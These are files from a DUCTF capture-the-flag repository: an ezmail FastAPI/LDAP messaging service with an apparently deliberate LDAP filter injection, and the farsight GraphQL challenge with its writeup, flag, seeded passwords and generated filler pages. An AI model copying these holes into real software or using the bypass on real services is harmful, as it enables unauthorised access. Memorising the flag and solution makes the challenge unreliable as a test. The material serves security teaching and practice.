algorithm="HS256" ) async def current_user(token: str = Depends(oauth2_scheme)) -> User: try: payload = jose.jwt.decode(token, config.SECRET_KEY) except jose.JWTError: raise HTTPException( status_code=status.HTTP_401_UNAUTHORIZED, detail="Invalid token", headers={"WWW-Authenticate": "Bearer"}, ) return User(**payload) @app.get("/", include_in_schema=False) async def index(): return {"swagger": "/docs", "redoc": "/redoc", "openapi": "/openapi.json"} @app.post( "/message", status_code=status.HTTP_202_ACCEPTED, response_model=IdType, tags=["message"], ) @limiter.limit("4/second") async def send_message( request: Request, message: MessageToSend, background_tasks: BackgroundTasks, current_user: User = Depends(current_user), ): if len(message.recipients) > 8: raise HTTPException( status=status.HTTP_400_BAD_REQUEST, detail="Ezmail only supports messaging up to 8 people at a time", ) message_id = uuid.uuid4() await msg_lib.set_message_processing_status(message_id, "queued") background_tasks.add_task( msg_lib.send_message, MessageInfo( id=message_id, sender=current_user.user_id, recipients=message.recipients, content=message.content, ), message.identity_provider, ) return message_id @app.get( "/message/{message_id}", response_model=MessageInfo, responses={404: {"description": "Message could not be found. Check its status at /message/{message_id}/status"}}, tags=["message"] ) @limiter.limit("12/second") async def get_message(request: Request, message_id: IdType, current_user: User = Depends(current_user)): return await msg_lib.get_message(message_id) or Response( status_code=status.HTTP_404_NOT_FOUND ) @app.get("/message/{message_id}/status", response_model=MessageStatus, tags=["message"]) @limiter.limit("12/second") async def get_message_status( request: Request, message_id: IdType, current_user: User = Depends(current_user) ): return await msg_lib.get_message_processing_status(message_id) @app.get("/me/inbox", response_model=List[IdType], tags=["me"]) @limiter.limit("8/second") async def get_inbox(request: Request, current_user: User = Depends(current_user)): if current_user.user_role == UserRole.ANONYMOUS: raise HTTPException( status_code=status.HTTP_400_BAD_REQUEST, detail="Anonymous users cannot recieve messages", ) return await msg_lib.get_user_recv(current_user.user_id) @app.get("/me/sent", response_model=List[IdType], tags=["me"]) @limiter.limit("8/second") async def get_sendbox(request: Request, current_user: User = Depends(current_user)): return await msg_lib.get_user_sent(current_user.user_id) @app.get("/me", response_model=User, tags=["me"]) async def get_me(current_user: User = Depends(current_user)): return current_user @app.post("/token", response_model=TokenResponse, tags=["auth"]) @limiter.limit("24/minute") async def get_token(request: Request): return { "access_token": issue_token( User(user_id=uuid.uuid4(), user_role=UserRole.ANONYMOUS) ), "token_type": "bearer", } ================================================ FILE: web/ezmail/src/message.py ================================================ import logging import uuid from typing import Dict, List, Optional import aioredis import ldap3 import config from models import IdentityProviders, IdType, MessageInfo, MessageStatus redis = aioredis.from_url(f"redis://{config.REDIS_HOST}") ldap = ldap3.Server(config.LDAP_HOST) def ldap_to_ezmail_id(user_cns: List[str]) -> Dict[str, IdType]: ezmail_users = {} with ldap3.Connection( ldap, client_strategy=ldap3.SAFE_SYNC, auto_bind=True ) as conn: for user_cn in user_cns: success, _res_meta, res, _query_meta = conn.search( "dc=ductf,dc=org", f"(&(objectclass=*)(cn={user_cn}))", attributes=["uid"], ) if success: ezmail_users[user_cn] = uuid.UUID(res[0]["attributes"]["uid"][0]) return ezmail_users async def set_message_processing_status(message_id: IdType, status: MessageStatus): await redis.set(f"msg|{message_id.hex}|status", str(status)) async def get_message_processing_status(message_id: IdType) -> Optional[MessageStatus]: status = await redis.get(f"msg|{message_id.hex}|status") return status and MessageStatus(status.decode()) async def send_message(message_spec: MessageInfo, identity_provider: IdentityProviders): try: recipients = ldap_to_ezmail_id(message_spec.recipients) ezmail_recipients = list(recipients.values()) ldap_recipients = list(recipients.keys()) message_spec.recipients = ldap_recipients async with redis.pipeline(transaction=True) as pipe: tr = pipe.set(f"msg|{message_spec.id.hex}", message_spec.json()) tr.lpush(f"usr|{message_spec.sender.hex}|send", message_spec.id.hex) for recipient in ezmail_recipients: tr.lpush(f"usr|{recipient.hex}|recv", message_spec.id.hex) await tr.execute() await set_message_processing_status(message_spec.id, "sent") except Exception as e: logging.exception("An error occurred when sending a message") await set_message_processing_status(message_spec.id, "failed") async def get_message(message_id: IdType): msg = await redis.get(f"msg|{message_id.hex}") return msg and MessageInfo.parse_raw(msg.decode()) async def get_user_sent(user_id: IdType): msg_ids = await redis.lrange(f"usr|{user_id.hex}|send", 0, -1) return [uuid.UUID(hex=msg_id.decode()) for msg_id in msg_ids] async def get_user_recv(user_id: IdType): msg_ids = await redis.lrange(f"usr|{user_id.hex}|recv", 0, -1) return [uuid.UUID(hex=msg_id.decode()) for msg_id in msg_ids] ================================================ FILE: web/ezmail/src/models.py ================================================ import enum import uuid from typing import List, Literal import pydantic IdType = uuid.UUID class IdentityProviders(str, enum.Enum): LDAP = "ldap" class MessageStatus(str, enum.Enum): QUEUED = "queued" SENT = "sent" FAILED = "failed" class UserRole(str, enum.Enum): ANONYMOUS = "anonymous" LDAP_USER = "ldap" class MessageBase(pydantic.BaseModel): recipients: List[str] content: str class MessageToSend(MessageBase): identity_provider: IdentityProviders class MessageInfo(MessageBase): id: IdType sender: uuid.UUID class User(pydantic.BaseModel): user_id: IdType user_role: UserRole class TokenResponse(pydantic.BaseModel): access_token: str token_type: Literal["bearer"] ================================================ FILE: web/farsight/.dockerignore ================================================ node_modules/* scripts/* flag.txt *.db ================================================ FILE: web/farsight/Dockerfile ================================================ FROM node:16 as base FROM base as build WORKDIR /build COPY ./package*.json ./ COPY tsconfig.json . COPY src src RUN npm install RUN npx tsc --build FROM base as dist WORKDIR /srv COPY --from=build /build/package.json /srv/ COPY --from=build /build/node_modules/ /srv/node_modules/ COPY ./src/assets/ /srv/app/assets/ COPY --from=build /build/build/ /srv/app/ COPY ./frontend /srv/frontend ENTRYPOINT [ "node", "app/app.js" ] ================================================ FILE: web/farsight/README.md ================================================ # FarSight **Category**: Web **Difficulty**: Easy - Medium **Author**: todo#7331 ## Flavour _I've recently learned about graphql so I used it to build a site that lets you host markdown pages. We're still developing the application and have a few upcoming beta features!_ **The scope of this challenge is limited to the challenge domain _only_. There are autogenerated links and images to domains external to ductf. These links and images are only present to add flavour to the challenge and are _NOT within scope_. Do not exploit any sites outside of the ductf domain.** ## Description This is largely a discovery related challenge with an access control bypass to get the flag. Player are first expected to use graphql introspection to reveal the some beta queries, fields and mutations. These beta features then have a vulnerability which allows players to bypass access controls (which are only set on the root queries and not the nodes), in order to access all info. ## Writeup _A solve script can be found in ./solve_ 1. The player notices that graphql is being used. 2. The player either manually sends a introspection query to the graphql endpoint, or uses a tool such as insomnia to perform the discovery. 3. The player noticies the presence of the `importPage` mutation and the `ownerSite` field on `Site`, both of which are marked as `beta`. 4. The player notices the `please do not store secrets` message in the description of site `config`. 5. It is therefore reasonable that we should snoop on other player's site descriptions. 6. The player discovers that they can import anyone's page into their site. They import the first few pages (I think just one is enough) 7. The player then bypasses auth checks, which are only enforced on the root query resolver, by using the `ownerSite` field on a imported site to access a site they do not own. 8. The player finds the flag in the config of the site belonging to `admin` ### Guessing Since this is a discovery challenge there are some bits that may be a bit "guessy". 1. Players have to guess that auth is only enforced on the root resolver. I think this is fine, as its something users should test anyway. 2. Players have to guess to look at the first few pages (i.e. those with low ids). This may be a bit more problematic, but looking at the first few pages seems natrual. ## Running `docker-compose up --build` This challenge can be shared between teams. - Players should only have access to create pages, page refs and accounts. - Teams could possibly create pages with explicit content and then have other teams import those pages. - Teams could login as each other if they use weak passwords. ================================================ FILE: web/farsight/challenge.yml ================================================ version: "0.1" id: farsight name: Farsight category: web description: | _I've recently learned about graphql so I used it to build a site that lets you host markdown pages._ _We're still developing the application and have a few upcoming beta features!_ **The scope of this challenge is limited to the challenge domain _only_.** There are autogenerated links and images to domains external to ductf. These links and images are only present to add flavour to the challenge and are _NOT within scope_. **Do not exploit any sites outside of the ductf domain.** Author: todo#7331 connection_info: ${url} tags: - easy flags: - DUCTF{5h0wINg_S3cREt_sch3m4S_spR1nGs_SITe_sUPeRVi5I0N_Sid3STeP-bdcf8179} ================================================ FILE: web/farsight/data/1-schema.sql ================================================ BEGIN; DROP TABLE IF EXISTS page_ref; DROP TABLE IF EXISTS page; DROP TABLE IF EXISTS site; DROP TABLE IF EXISTS "user"; CREATE TABLE "user" ( id SERIAL PRIMARY KEY, username TEXT NOT NULL UNIQUE, password TEXT NOT NULL ); CREATE TABLE site ( id SERIAL PRIMARY KEY, name TEXT NOT NULL, public BOOLEAN NOT NULL, config TEXT NOT NULL, owner INTEGER NOT NULL REFERENCES "user"(id) ); CREATE TABLE page ( id SERIAL PRIMARY KEY, name TEXT NOT NULL, content TEXT NOT NULL, site INTEGER NOT NULL REFERENCES site(id) ); CREATE TABLE page_ref ( site INTEGER NOT NULL REFERENCES site(id), page INTEGER NOT NULL REFERENCES page(id) ); COMMIT; ================================================ FILE: web/farsight/data/2-data.sql ================================================ BEGIN; INSERT INTO "user"(id, username, password) VALUES (0, 'admin', 'HkQNptP8!4'), (1, 'colonhayley', '6mF07lCl+Q'), (2, 'arojas', 'ZurB3Crs#C'), (3, 'jeremy16', 'U7xWXx#R+t'), (4, 'tblackburn', ')NF39A9hD8'), (5, 'rebeccasmith', 'e_z7jY_xkP'), (6, 'michael77', '@P5BP)nmH%'), (7, 'gilbertamy', 'A&21HdklYp'), (8, 'matthewhayes', '*!yxDjH@4&'), (9, 'ronaldmoore', '$NPHyztx4p'), (10, 'dawnreynolds', '&4xSuruZ5U'), (11, 'andrearamirez', '#a7P!k3jRk'), (12, 'dalvarez', 'Y0^PIj^g$1'), (13, 'jill56', 'a0_X9hTx$r'), (14, 'kevinmills', '&R8VJgmy%g'), (15, 'douglas85', '+9aWq*u3#@'); ALTER SEQUENCE user_id_seq RESTART WITH 16; INSERT INTO site(id, name, public, owner, config) VALUES (0, 'admin''s Site', FALSE, 0, '{"color": "red", "background": "#eeffcc", "flag": "DUCTF{5h0wINg_S3cREt_sch3m4S_spR1nGs_SITe_sUPeRVi5I0N_Sid3STeP-bdcf8179}"}'), (1, 'colonhayley''s Site', FALSE, 1, '{"color": "black", "background": "white"}'), (2, 'arojas''s Site', FALSE, 2, '{"color": "black", "background": "#ddd"}'), (3, 'jeremy16''s Site', FALSE, 3, '{"color": "red", "background": "#eeffcc"}'), (4, 'tblackburn''s Site', TRUE, 4, '{"color": "red", "background": "#ddd"}'), (5, 'rebeccasmith''s Site', FALSE, 5, '{"color": "black", "background": "#eeffcc"}'), (6, 'michael77''s Site', FALSE, 6, '{"color": "black", "background": "#eeffcc"}'), (7, 'gilbertamy''s Site', FALSE, 7, '{"color": "black", "background": "#ddd"}'), (8, 'matthewhayes''s Site', TRUE, 8, '{"color": "black", "background": "#eeffcc"}'), (9, 'ronaldmoore''s Site', FALSE, 9, '{"color": "green", "background": "#ddd"}'), (10, 'dawnreynolds''s Site', FALSE, 10, '{"color": "green", "background": "#ddd"}'), (11, 'andrearamirez''s Site', TRUE, 11, '{"color": "green", "background": "white"}'), (12, 'dalvarez''s Site', FALSE, 12, '{"color": "red", "background": "#ddd"}'), (13, 'jill56''s Site', FALSE, 13, '{"color": "black", "background": "#eeffcc"}'), (14, 'kevinmills''s Site', FALSE, 14, '{"color": "black", "background": "#eeffcc"}'), (15, 'douglas85''s Site', FALSE, 15, '{"color": "black", "background": "#eeffcc"}'); ALTER SEQUENCE site_id_seq RESTART WITH 16; INSERT INTO page(id, name, content, site) VALUES (0, 'Flags and Configurations','# Flags and configurations\n\nThere might be something interesting in the configuration for this site `;)`',0), (1, 'war',replace('Possible lead draw learn city. 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Interesting goal student campaign cold institution project. Work present call.")\n\n### Size success return along.\n\nSit environmental interest production.\n\n### Push sell beyond student third book.\n\n**lay**\n1. Community position education special amount.\n1. Medical detail behind major sister popular gas.\n1. Huge minute direction learn heart exist reality.\n![Head change herself then approach condition pull.](https://picsum.photos/376 "Sure certainly four several new course. Effect consider blue open peace building.\nFoot back about painting light role. Take choose inside human TV.")\n\n###### Whatever involve building seek space thus range.\n\n\n\n**theory**\ncandidate\n---\n\n```office\nScience interview kitchen toward season. Task join land.\n```\n\n1. Officer north quite hit fill.\n1. Better material baby.\n1. End score true feel possible see church.\n\n```college\nActually treat goal affect. Fly spend election edge tell address. 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Sister performance capital reflect.")\n\n_**Career meet mention apply else sea reduce.**_\n\n\n','\n',chr(10)),11), (54, 'after degree loss',replace('> Hand final significant raise great cost.\n\n|Though want bar interview section.|Wide cause cultural performance ability.|Baby and consider yourself executive.|\n|----------------------------------|----------------------------------------|-------------------------------------|\n|Huge too project culture area.|Strong central whether people onto.|Simply firm space baby act bring movement pull.|\n|Into course really building.|Teacher food yard or tend word sell.|Down run yeah win especially enter item.|\n|Pattern tough information social.|Born material great leg film arm easy.|Impact whom base off.|\n|Because call quality.|Stock ever hospital mouth what follow.|Focus study series eye.|\n\n\nSpecial tough might.\n\n|Evening positive wrong risk television admit.|Arm generation teacher air.|Force theory training she serious.|\n|---------------------------------------------|---------------------------|----------------------------------|\n|Travel get people marriage scene than customer.|Seem eight weight mean avoid high cover.|Scene how chance lay dog subject.|\n|Set paper others skin campaign line sure.|Do ready other.|Leader once next beyond glass half suffer.|\n|Inside play base step society both door.|Thank ok room.|On Democrat tree hit thing.|\n|Staff father staff pressure.|Reason drop that military PM prevent themselves.|Dog our experience consumer.|\n\n\n|Relationship with country technology.|Really family certain remember water under too.|Even group interesting thus investment significant.|\n|-------------------------------------|-----------------------------------------------|---------------------------------------------------|\n|Near media east billion themselves six.|Page whatever wall night run ago movie.|Still kitchen employee one sometimes.|\n|Democratic study respond single.|Interview large person admit adult scientist interesting in.|Model amount population dinner name son.|\n|To sit threat party himself movement mouth speech.|Age response fact tonight leader.|Certain or trial information design car skin suggest.|\n|Serious parent exactly hard goal much themselves.|Record other effect son option those.|Almost country peace decision ahead there.|\n\n\n + Red election six consider myself news new.\n\n> Western data cover news choice nice type.\n\n**make**\n[Care leader would.](https://www.mann.com/)\n\n_Open charge general contain news strong._\n','\n',chr(10)),11), (55, 'toward change food ability',replace(' * Many body past shake half measure go.\n\n```reflect\nFigure understand per care make. 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Arm heart impact mind act sit Mr.\nFirm pressure month describe early parent. Back fact everybody type.")\n\n[Method policy year.](https://www.strickland.com/)\n\n1. Single successful western particular.\n1. Explain edge kid he unit quite seven fish.\n1. A Mr quickly despite leg reach.\n**maintain**\n**somebody**\n_**Factor five amount seat political.**_\n 5. Great ground even.\n\n1. Participant choice collection represent force.\n1. I shake memory character.\n1. Whether authority concern win service.\n\n### Amount whose strong heavy kid third just.\n\nEvidence technology act entire response want.\n---------------------------------------------\n\n***Gas protect interview next Mrs try.***\n * Someone tell those.\n\n**relate**\n***High represent little investment.***\n_**Describe lay learn fish follow.**_\n 9. Shake wrong process chance.\n\n\n\n','\n',chr(10)),13), (59, 'skill where entire deep firm',replace('Should if summer own there.\n\nOthers section history both role. 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Born onto experience do fill feel.\n```\n\n|Reflect so hospital choice anyone treatment point.|Material physical my from name represent.|Pm these who ball.|\n|--------------------------------------------------|-----------------------------------------|------------------|\n|Production room entire seven least.|Continue all through our action.|Trade exist course protect live value party.|\n|Manage hundred by team movie.|Concern other third to simply expert fear.|Yourself necessary fill.|\n|International hit house speak collection.|Understand politics heavy share carry.|Loss for law rule.|\n|Agency itself fly with western whole third.|Resource vote beautiful partner.|Many tough could.|\n\n\n\n\nBecome bad might join. Base describe brother wish expect others. Likely issue \nhappen purpose.\n\n**knowledge**\n![Talk term southern consumer.](https://picsum.photos/399 "Idea consider large theory. Well no actually always.\nPersonal off drug draw low parent.\nFather end turn day camera. Stock wall value bad go modern white movement.")\n\n> Whatever quickly who.\n\n|Report million light I let claim.|Recognize really by gas want argue.|May remain can fear concern yeah woman.|\n|---------------------------------|-----------------------------------|---------------------------------------|\n|Industry else house head.|Tell phone experience building assume not TV.|Large lawyer television him cultural.|\n|Individual arm role pull defense.|Event see administration stay together quickly.|Own measure hour goal add.|\n|Draw black quite suffer return.|Alone onto decision between.|Particular dog truth rock.|\n|Particularly theory hair town even woman person.|Protect term run security above age.|Bit environment shoulder room.|\n\n\nOperation door season suffer performance. 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Tree project money safe risk already land late.")\n\nThing case hope white drug around wish.\n---------------------------------------\n\n6. Become visit mean first interview.\n\n1. Together painting unit make wish.\n1. Go ask military evening.\n1. Score recent local particularly beat.\n\n1. Network American traditional right.\n1. He any well able.\n1. Bill write significant alone.\n\n***And over glass believe land and.***\n![Newspaper rich half more.](https://picsum.photos/369 "Staff significant lawyer. Floor camera newspaper television because away. Want respond issue region those.\nLeast collection put point receive collection protect fight. Really sense economic long on.")\n\n```under\nFace student billion. Republican stop everything shoulder.\n```\n\n + Article sing defense man attention note official.\n\nYoung draw think specific rock. Smile teacher fear successful.\n\n***\n\n4. Under actually expert care body military.\n\n```clear\nAnalysis minute world positive. Enter television probably guess example old change.\n```\n\n1. Task together every hold.\n1. Begin west begin ago say describe throughout.\n1. Stop stop lay point project sell structure.\n\n_**Despite outside person third station watch.**_\n![Short kitchen down claim system decide.](https://picsum.photos/468 "Woman decade no. End wife machine third agree tree else field.\nBall real much American black.")\n\n1. Whatever such difficult line determine season.\n1. Reflect people throughout me beautiful stand bit consider.\n1. Purpose go some white work too.\n\n___\n\nServe direction ask data add figure above.\n------------------------------------------\n\n * Final type recognize approach apply leader camera.\n\n_Event quickly decade policy._\n1. Art seven senior property pressure.\n1. White from from sense region woman nothing.\n1. Hit this beautiful good real.\nIndividual decade effort edge generation live report. Purpose floor two past after hour.\n\n\n\n + Leave option read issue.\n\n1. Seven late trouble series.\n1. Its again you court choose them sport food.\n1. Study color night important.\n> Of including these on machine among several.\n\nopportunity\n___\n\n\n\n***Somebody trade none.***\n![Major child old security lead activity budget see.](https://picsum.photos/263 "Each understand from bad notice. Economic above young accept enjoy employee us.\nWork since read.\nFour space share yet. Film administration heart yeah.")\n\n_**Dark option travel it break establish term.**_\n[Court general late quality our mean couple whatever.](https://www.johnson.com/)\n\nwithout\n***\n\n![Respond suggest how probably respond entire.](https://picsum.photos/485 "Play trouble black Democrat girl. Like seat production serious give true.\nStyle feel to money after blue end country. Rich although now use set.")\n\n> Recent back economy artist while nation Congress.\n\nthrough\nrecent\n```anything\nSkill open reflect modern similar. Party positive music field note level power.\n```\n\n```successful\nRecently positive daughter indeed company difference fly improve. Beyond college myself six manage use possible. Forget maybe apply direction some. Concern growth worry station rich use security.\n```\n\n![Material pattern study between put collection.](https://picsum.photos/448 "Example pick she.\nGo act television. Low material huge. Leader street memory group west ok until.")\n\n','\n',chr(10)),13), (62, 'million my leave meet',replace('will\n---\n\n![Issue well similar front give identify small.](https://picsum.photos/439 "Relate town attack along reality teach. Red put though. Sense will time think world necessary bag treatment.\nCatch protect administration sound forget. Without ahead stop others society.")\n\n|Foreign fill public production explain pull recent.|Tree base range indeed find beat.|Possible article tell social no last.|\n|---------------------------------------------------|---------------------------------|-------------------------------------|\n|Note strong instead require.|Represent partner particularly could section bill phone capital.|Read although heavy break believe lay election effect.|\n|Shoulder pick child drive which board.|To stop audience seven anyone spring.|Quickly agency back interesting wife cause amount.|\n|Behind door fall affect.|Tonight really father even.|However build take either do down act.|\n|Lay why just result student.|Ability easy skill.|Area election challenge phone far.|\n\n\n***\n\n***Write media war small including.***\nDeep country old mission without company.\n\n# Religious national lot modern.\n\n```town\nPerformance production then though moment study.\n```\n\n![Perhaps culture brother over line happy.](https://picsum.photos/438 "Whose southern career drop. Leader whether they Democrat scene customer.\nGive strategy safe reach address offer well keep.")\n\nCamera give role their one chair case.\n\n1. Fight thousand over generation western watch can.\n1. Treatment head suddenly alone degree enjoy.\n1. Produce for whom.\n6. Can image lawyer quickly.\n\n[Off image move alone ever.](http://ward.org/)\n\n> Customer ready week the measure month already.\n\n_Away picture season government sell draw fund._\n*Carry window challenge window today present require.*\n1. Offer matter simple collection.\n\n> He general marriage own.\n\n 8. Car argue another door contain wide order.\n\n','\n',chr(10)),14), (63, 'miss participant',replace(' 6. Seek upon plant music crime power determine.\n\n 5. Scene draw mind hold section quality wall.\n\n1. Detail painting difference who.\n1. Itself goal hot collection.\n1. Phone might age wrong.\n1. Process research concern specific remain.\n1. In understand wall memory.\n1. Beyond compare their effort.\n> Edge suddenly practice mean.\n\n 4. Personal chance sea.\n\n 7. Summer community serious source space successful.\n\n**job**\n```floor\nMain total ground company. Party stop ready public. Three about set science size whose list quality. Indicate ask rest brother.\n```\n\n|Here popular difficult area fight they thought already.|Increase support conference since.|Produce force major their that red.|\n|-------------------------------------------------------|----------------------------------|-----------------------------------|\n|Item writer when similar special about above rise.|Ago may behavior.|Fire medical little its into.|\n|Culture seat level much subject new television kid.|Drive first worker surface look bank type.|Window want painting relationship administration citizen bank.|\n|West if dream push agree agree through factor.|Live kind with there never.|By unit reflect federal Congress open laugh.|\n|National sport able bank quite state list.|Case artist school lead.|Office public statement old billion size old week.|\n\n\n1. Without become Congress young politics during heavy.\n1. Trial seat involve health reveal administration recent loss.\n1. Though need since in.\n\nThat could agency cover. Produce building operation. Design learn who find number because stage.\n\n> Fall peace want cause statement.\n\n![Strong attack agent.](https://picsum.photos/205 "Mention remain off partner court on at professor. Across share artist onto decide design.\nIncrease war fill successful make across meet. My glass pay last market third.")\n\n1. Few I order.\n1. Enter camera report simple fast may.\n1. Care citizen quickly in let full trade political.\n___\n\n|Account still hard door.|Throw team same figure everyone operation week.|Modern smile blood lot choose about of.|\n|------------------------|-----------------------------------------------|---------------------------------------|\n|Human but central a career Mrs ball much.|Over sort world.|Image research appear current positive world.|\n|Nearly audience find case to agency travel.|Growth bag end kind what herself boy.|Their certain kitchen middle happy try dark son.|\n|Perhaps information they with check forward.|Movement crime seem listen answer figure meeting.|My character attention really central ball.|\n|Water join herself involve.|Result whom inside collection.|Stock bank choice number wind away.|\n\n\n![Military professional almost with security still.](https://picsum.photos/267 "Build indicate teacher difference.\nRequire necessary audience throughout become call mouth. Result participant rate fight. White blood through ready Democrat something everybody.")\n\nmanage\n * Your tree blue.\n\n_**Despite pay especially finally.**_\n> Whose car pull full.\n\nTreatment point performance human those.\n\n1. Upon land fire bit life him.\n1. Loss baby style public possible he.\n1. Choose particular check any tough finish.\n\n***Leave college campaign we whom wife then several.***\nEmployee participant piece necessary.\n\n|Process computer production increase condition pass bad.|Road and report walk boy building building.|Scene couple bar miss clear not art.|\n|--------------------------------------------------------|-------------------------------------------|------------------------------------|\n|Dinner learn support election data team five apply.|Music man decade lay agreement.|Hold live soldier miss.|\n|Firm true growth rock.|Space piece maybe first eat federal develop.|Over individual position threat today fine.|\n|Try nothing trade return difficult.|Occur walk police still effect shake understand.|Watch step forget information.|\n|Anyone spend any arrive show.|Mean glass new what various woman.|Shake heavy item wear.|\n\n\n***Half although act run.***\nskill\nDown house food figure think purpose.\n\n * Language ball ball family social ball.\n\n8. Name left region term important.\n\nGroup type in vote blood.\n\n![Person mouth conference long fire.](https://picsum.photos/493 "Never important improve far line difficult. Expert cover much age.\nMeasure miss between manage soldier face be. Could style first prepare citizen investment cause.")\n\n_Drive area each song magazine stuff between._\n***Decision today require rate total.***\nUpon determine age player raise.\n--------------------------------\n\n*Know three civil official.*\n\n\n1. Environment sit data officer road everyone everything.\n1. Necessary old outside.\n1. Pay around can.\n\n![Own parent paper according build.](https://picsum.photos/443 "Actually size assume market professional listen. Return some send American play know. People he exactly reflect best population.")\n\n***Knowledge American lead radio third can.***\n1. Inside section person tonight two possible.\n1. Scene thousand remain minute.\n1. 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Sometimes sign experience yeah indeed teach window home.\n```\n\n|Seem major already bar third practice soldier.|Bring realize far rise everybody game nearly.|Wind perform push risk product idea.|\n|----------------------------------------------|---------------------------------------------|------------------------------------|\n|Per if smile I although.|Hit seem standard center debate stuff feel today.|Gun result recognize purpose scientist.|\n|Hotel affect family low movie evidence quality animal.|Beautiful perhaps human edge local fine owner.|Either drive thus dog again take financial.|\n|Financial agreement research really exactly.|North mind walk wrong statement energy through yet.|Trip himself wonder fear expert.|\n|Center stay may performance doctor.|Low you couple view case.|Certainly image place reality money until.|\n\n\n---\n\nImage east buy wonder city. Program western management organization.\n\nInformation policy nor recently water it cultural ability.\n----------------------------------------------------------\n\n*Happy memory stage garden its.*\nTeach set house statement. Production statement group candidate nice push any. Leg mission war. Together same between \nmillion figure once.\n\n','\n',chr(10)),14), (64, 'today',replace('***\n\n\n\n## Responsibility establish pass despite report meeting.\n\n\n\n\n\nname\nSport tonight section simple group. Agent loss goal her continue order. Behind property report eye.\n\n7. Low audience exactly southern word face woman manager.\n\nPopulation church project. Current response specific return less staff. Drop former different learn \ntrade three.\n\nTop act good section.\n\n','\n',chr(10)),14), (65, 'cause assume war seem think',replace(' - Score enough age top rather knowledge.\n\n![Prevent now nothing low standard medical discussion.](https://picsum.photos/259 "Focus speech bring free. Scene key us. Tax somebody stay your single card total.")\n\n> Account face not occur leader writer.\n\nHimself between identify black section hope development room.\n\n|Out step them population available.|Which discover tree experience whether share.|Deal difference out everybody wide four maybe.|\n|-----------------------------------|---------------------------------------------|----------------------------------------------|\n|Teach factor figure increase step teacher leader.|Town down pay bed beyond.|Old candidate size simple notice Congress sell.|\n|Bad audience community government.|Middle but among.|Point trip at new.|\n|Own natural despite team.|About business provide group box high.|More product cold adult this certainly.|\n|When everything effect check personal.|Key difference leg call.|Sea until low agree budget son author.|\n\n\nlast\n_**Born defense word least shoulder make certainly.**_\n 8. Quickly century bad other.\n\n1. Fear care be trip wonder PM boy.\n1. Song budget interest record voice support budget difference.\n1. Over moment dinner sure.\n1. Somebody support democratic live member.\n\n5. Lot camera admit fight nature.\n\n> Also assume continue agree crime moment.\n\n + Onto economy raise capital magazine.\n\n___\n\n***\n\nFund statement only fast discuss argue the party. Mission however want discover add. Worry hear site especially least \nworker.\n\n1. Actually new full.\n1. Ball significant game author remain.\n1. Character street politics water term.\n|Leg important institution pattern.|Pretty like actually car between successful should.|In management member hospital who.|\n|----------------------------------|---------------------------------------------------|----------------------------------|\n|Build ready difficult meet.|Second including certainly girl may whether.|Cost clearly its recently.|\n|Energy itself number baby recent federal.|Gun beautiful Mrs fish.|Describe director task store lead admit value administration.|\n|Sort similar hospital sit treatment artist.|Bank group lead floor.|Should open try night need eight.|\n|Success similar yard himself too sure lead.|Easy house decade future her.|Today performance only read.|\n\n\n___\n\n> Risk exactly character special walk nothing describe cell.\n\n','\n',chr(10)),14), (66, 'blue can professor',replace('```sea\nMove return do car fast. Information sit take back with American. Federal next both administration Congress.\n```\n\n\n\n_Long drug song east purpose end site._\n[Clear even back himself building.](https://wright-dixon.com/)\n\n_**None adult event range.**_\n\n\n---\n\n*Sing health maintain there hope.*\n\n\n|Five system leg use despite begin writer whom.|Bag process science west gun.|Eye raise list police on.|\n|----------------------------------------------|-----------------------------|-------------------------|\n|Central reduce security factor.|Run beat why radio exist officer.|Effect adult sport according.|\n|Per stuff company national serve provide song deep.|Wall purpose his.|Property baby account difficult lead then.|\n|Clearly interest best mother similar girl receive.|Ever federal painting offer.|Center front seem serve any century their.|\n|Individual consider trouble rule at.|Ground where music above.|Personal only marriage film.|\n\n\n','\n',chr(10)),15), (67, 'way without example anything',replace(' * Care dinner red.\n\n**wait**\nQuestion good morning leave middle feel. Question reflect scene represent \nradio system you. Government energy sport mouth huge develop.\n\nSummer house way member begin.\n\n> Around prepare conference inside.\n\n![For watch writer alone.](https://picsum.photos/284 "Go president response task.\nMiss city mean. Ever kitchen participant expert. Organization small tell.")\n\nStrong business personal heart easy least.\n------------------------------------------\n\n|Believe job radio body however meet international.|Card tough care unit value career figure support.|Popular actually resource we garden security another.|\n|--------------------------------------------------|-------------------------------------------------|-----------------------------------------------------|\n|Southern Republican into present.|Thank responsibility likely official seem not store.|Push above several turn idea man.|\n|Rock coach agree someone task.|Society within more.|Girl adult life safe positive.|\n|Right natural small direction life scene.|The various respond beyond speak.|Administration difficult end truth game lot it sort.|\n|Late along hotel size exist.|Perform answer lawyer she hear company.|What great ahead rest.|\n\n\n[History listen outside west team base.](https://taylor.org/)\n\n8. Market full talk service industry realize southern.\n\n','\n',chr(10)),15), (68, 'head natural cultural detail capital',replace(' - Hot night almost ago I others next.\n\n\n\nMovie ready one use near able word. Me different find small nothing camera. Scientist \nwhether interview local attention.\n\n> Far else technology recognize represent law investment rich.\n\n> Technology our their camera.\n\n1. Trade three but within upon.\n1. For line factor one.\n1. Part however church network citizen nearly force.\n\n*Arm material service cut per.*\n### Quality think model difficult organization television.\n\n\n\nedge\n_Article apply attention south hot hear fear._\n---\n\n_**Party serve relationship create identify.**_\n**here**\n1. Congress economic long.\n1. Standard realize lay interest although candidate some child.\n1. One I plan amount.\n![Apply draw population north challenge.](https://picsum.photos/369 "Health myself soon leave. Game of drive might employee ever teach.\nTable put central upon. Someone bed small name.\nCut order gun year grow computer activity end. Control exactly age movement break.")\n\n![Parent different score federal issue information.](https://picsum.photos/265 "Hot win money full idea. Vote between voice sit court family. View mouth change other left.\nElse church board pass officer from discuss big. Various its shoulder fish hospital.")\n\n_Price successful federal summer take fine blue total._\n```necessary\nParty sit like baby notice what available whether. Trouble travel Democrat since.\n```\n\n * Issue middle center rather.\n\n','\n',chr(10)),15), (69, 'girl use must',replace('Change fact argue another network.\n\n\n\nConsumer similar dark claim.\n\n#### Whole young popular push four wait heart.\n\nalmost\n___\n\n1. School whom paper open media claim animal.\n1. Nice subject above service tax customer difference.\n1. Task maintain how material tell then interest add.\n\n\n***\n\n**thing**\n![Since process above performance shoulder.](https://picsum.photos/397 "General there sister somebody training cell. Its control direction house improve.\nTop worker health Democrat lay city. Than somebody financial individual according purpose whether visit.")\n\n\n\n|Fast court seat blood tax.|Challenge thank case seek.|Month lot bill perhaps production financial clear house.|\n|--------------------------|--------------------------|--------------------------------------------------------|\n|Charge national mother long seem out.|Force rise answer bring.|Think travel organization window generation sometimes others.|\n|Bad be over stand understand idea case.|Buy discussion music.|Pass night born evening series right interview be.|\n|Pretty kid always write manage.|And kid young theory hit.|Quite once many look necessary teacher 